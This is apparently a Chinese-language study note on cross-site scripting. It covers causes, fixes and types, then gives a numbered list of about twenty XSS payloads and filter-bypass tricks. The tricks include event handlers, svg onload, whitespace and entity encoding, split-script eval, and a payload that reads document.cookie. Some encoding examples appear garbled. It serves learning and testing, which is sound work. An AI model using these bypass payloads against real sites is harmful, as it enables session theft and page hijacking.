一、介绍
XSS又叫CSS(Cross Site Script),跨站脚本攻击。因与html中的css样式重名,所以称之为XSS。
二、原理
系统对用户的输入过滤不严,导致用户可以输入恶意的脚本代码,如js,并且能够被浏览器执行,而达到攻击者的目的。
三、修复方式
1、对实体字符进行转义
2、使用HTTP Only来禁止JavaScript读取cookie值
3、输入时校验、浏览器与Web应用端采用相同的字符编码
四、分类
1、DOM型:修改HTML DOM节点,俗称自己玩自己
2、反射型:也叫非持久性,只能执行一次,再次执行的话,需要重新输入
3、存储型:也叫持久性,存储到数据库中
五、发现
1、找输入:寻找用户可以输入的位置
2、找输出:寻找输入内容显示的位置
3、构造payload
六、常见payload及绕过
//1
<script>alert(1)</script>
//2
<script>location="https://www.baidu.com"</script>
//3
<script>alert(document.cookie)</script>
//4
<img src=1 onerror=alert(1)>
//5
<a href="javascript:alert(1)">aa</a>
//6
<input name="keyword" value=""oninput="alert(1)">
//7
<input name="keyword" value=""onclick="alert(1)">
//8 对script关键字进行编码
<a href="javascript:alert(1)">aa</a>
//9
<script>confirm(1)</script>
//10
<script>prompt(1)</script>
//12 事件驱动
<img src='./11.jpg' onmouseover='alert(1)'>
<input type="text" onkeydown="alert(1)">
<input type="text" onkeyup="alert(1)">
.......
//13
<svg onload="alert(1)"> //svg是h5的标签,onload也是事件,提交即触发
//14
<input onfocus=alert(1) autofocus> //onfucus为事件,聚焦(当光标放到目标)即触发
//15 大小写混编
html对大小写不敏感,js对大小写敏感
//16 [/]代替空格
<a/href="javascript:alert(1)">111</a>
//17 在一些关键字内插入回车符与tab符,绕过关键字检测
<img src ='#' onerror='alert(1)'>
<a href="ja va
script:alert(1)">111</a> //ja tab符 va...
//18 编码绕过
可以对标签属性值进行转码,来实现绕过,转码后要加分号
字符a,的ascii码97,十进制编码a , 十六进制编码a
字符e,的ascii码101,十进制编码&3101 , 十六进制编码e
tab ==> 	
换行 ==>
回车 ==>
<a href="javascript:alert(1)">11</a> //经过简单编码
<A href="javas	c r ipt:alert(1)">11</a> //经过插入字符
//19 拆分跨站
<script>z='alert'</script>
<script>z=z+'(1)'</script>
<script>eval(z)</script>
//将语句拆分成多个,拼接起来后执行。若后台对字符串长度做限制,则可用拆分跨站将一个较长的shellcode拆成几部分。
//20 css变形
//21
<a href="#" onClick="return confirm(1)">11</a>
//22
<a href="javascript:top['al\145rt']`1`">11</a>